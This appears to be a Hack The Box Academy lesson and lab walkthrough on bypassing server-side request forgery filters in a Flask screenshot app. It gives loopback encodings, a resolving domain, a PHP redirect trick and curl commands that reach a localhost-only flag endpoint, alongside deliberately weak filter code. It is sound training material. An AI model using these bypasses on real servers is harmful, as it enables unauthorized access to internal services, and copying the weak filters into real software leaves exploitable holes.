Server-Side Request Forgery (SSRF) vulnerabilities occur when an attacker can coerce the server to fetch remote resources using HTTP requests; this might allow an attacker to identify and enumerate services running on the local network of the web server, which an external attacker would generally be unable to access due to a firewall blocking access.
Let us consider the following vulnerable web application to illustrate how a developer might address SSRF vulnerabilities.
Our sample web application allows us to take screenshots of websites for which we provide URLs.
The web application contains two endpoints. The first one handles taking screenshots, while the second endpoint responds with a debug page and is only accessible from localhost:
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
try:
screenshot = screenshot_url(request.form.get('url'))
except Exception as e:
return f'Error: {e}', 400
# b64 encode image
image = Image.open(screenshot)
buffered = BytesIO()
image.save(buffered, format="PNG")
img_data = base64.b64encode(buffered.getvalue())
return render_template('index.html', screenshot=img_data.decode('utf-8'))
@app.route('/debug')
def debug():
if request.remote_addr != '127.0.0.1':
return 'Unauthorized!', 401
return render_template('debug.html')Since our target is to obtain unauthorized access to the debug page, we need to bypass the check in the /debug endpoint. However, we cannot manipulate the request.remote_addr variable, as this represents the IP address from which the request originates (i.e., our external IP address).
def take_screenshot(url, filename=f'./screen_{os.urandom(8).hex()}.png'):
driver = webdriver.Chrome(options=chrome_options)
driver.get(url)
driver.save_screenshot(filename)
driver.quit()
return filename
def screenshot_url(url):
scheme = urlparse(url).scheme
domain = urlparse(url).hostname
if not domain or not scheme:
raise Exception('Malformed URL')
if scheme not in ['http', 'https']:
raise Exception('Invalid scheme')
return take_screenshot(url)The web application performs basic checks including the scheme (blocking file://), but does not restrict the domain or IP address.
Since the web application only restricts us to the http and https schemes but does not restrict the domain or IP address, we can provide a URL pointing to the /debug endpoint:
http://127.0.0.1/debug
The web application will visit its own debug endpoint such that the request originates from 127.0.0.1, granting access.
The simplest SSRF filter explicitly blocks certain domains like localhost or 127.0.0.1:
def check_domain(domain):
if 'localhost' in domain:
return False
if domain == '127.0.0.1':
return False
return TrueBypass Methods - Many ways exist to represent localhost:
| Method | Value |
|---|---|
| Localhost Address Block | 127.0.0.0 - 127.255.255.255 |
| Shortened IP Address | 127.1 |
| Prolonged IP Address | 127.000000000000000.1 |
| All Zeroes | 0.0.0.0 |
| Shortened All Zeroes | 0 |
| Decimal Representation | 2130706433 |
| Octal Representation | 0177.0000.0000.0001 |
| Hex Representation | 0x7f000001 |
| IPv6 loopback address | 0:0:0:0:0:0:0:1 (also ::1) |
| IPv4-mapped IPv6 loopback | ::ffff:127.0.0.1 |
Example bypass:
http://0.0.0.0/debug
Improved filter that blocks private IP ranges:
def check_domain(domain):
if 'localhost' in domain:
return False
try:
# parse IP
ip = ipaddress.ip_address(domain)
# check internal IP address space
if ip in ipaddress.ip_network('127.0.0.0/8'):
return False
if ip in ipaddress.ip_network('10.0.0.0/8'):
return False
if ip in ipaddress.ip_network('172.16.0.0/12'):
return False
if ip in ipaddress.ip_network('192.168.0.0/16'):
return False
if ip in ipaddress.ip_network('0.0.0.0/8'):
return False
except:
pass
return TrueProblem: The filter only blocks IP addresses, not domain names that resolve to private IPs.
Bypass: Use a domain that resolves to 127.0.0.1:
nslookup localtest.meServer: 1.1.1.1
Address: 1.1.1.1#53
Non-authoritative answer:
Name: localtest.me
Address: 127.0.0.1
Name: localtest.me
Address: ::1
Example bypass:
http://localtest.me/debug
Further improved filter that resolves domain names:
def check_domain(domain):
try:
# resolve domain
ip = socket.gethostbyname(domain)
# parse IP
ip = ipaddress.ip_address(ip)
# check internal IP address space
if ip in ipaddress.ip_network('127.0.0.0/8'):
return False
if ip in ipaddress.ip_network('10.0.0.0/8'):
return False
if ip in ipaddress.ip_network('172.16.0.0/12'):
return False
if ip in ipaddress.ip_network('192.168.0.0/16'):
return False
if ip in ipaddress.ip_network('0.0.0.0/8'):
return False
return True
except:
pass
return FalseProblem: The filter does not account for HTTP redirects.
Bypass: Host a redirect on your server:
<?php header('Location: http://127.0.0.1/debug'); ?>php -S 0.0.0.0:80Then provide your server URL:
http://redirectserver.htb/redirect.php
Note: Blocking redirects completely is difficult. Other redirect methods exist: JavaScript, meta tags, etc. Even if all redirects are prevented, DNS rebinding can still bypass the filter.
The simplest and safest way to prevent SSRF is via firewall rules. The system running the vulnerable application should be separated from internal web applications, with firewall rules preventing incoming connections from the vulnerable system to internal services.
Task: Bypass the SSRF filter to obtain the flag. The staging environment is behind a firewall that blocks all outgoing web requests.
Download and analyze the source:
wget https://academy.hackthebox.com/storage/modules/231/src_ssrf_filter_bypass.zip
unzip src_ssrf_filter_bypass.zipThe /flag endpoint only allows localhost:
@app.route('/flag')
def flag():
# only allow access from localhost
if request.remote_addr != '127.0.0.1':
return 'Unauthorized!', 401
return send_file('./flag.txt')The check_domain function:
def check_domain(domain):
try:
# resolve domain
ip = socket.gethostbyname(domain)
# prevent access to localhost
return not ipaddress.ip_address(ip).is_loopback
except:
pass
return FalseThe is_loopback function does not consider 0.0.0.0 as a loopback address (which includes all IPv4 addresses on a local machine, including 127.0.0.1).
curl -s -X POST http://<TARGET_IP>:<PORT>/ -d 'url=http://0.0.0.0/flag'Or simply use 0:
curl -s -X POST http://<TARGET_IP>:<PORT>/ -d 'url=http://0/flag'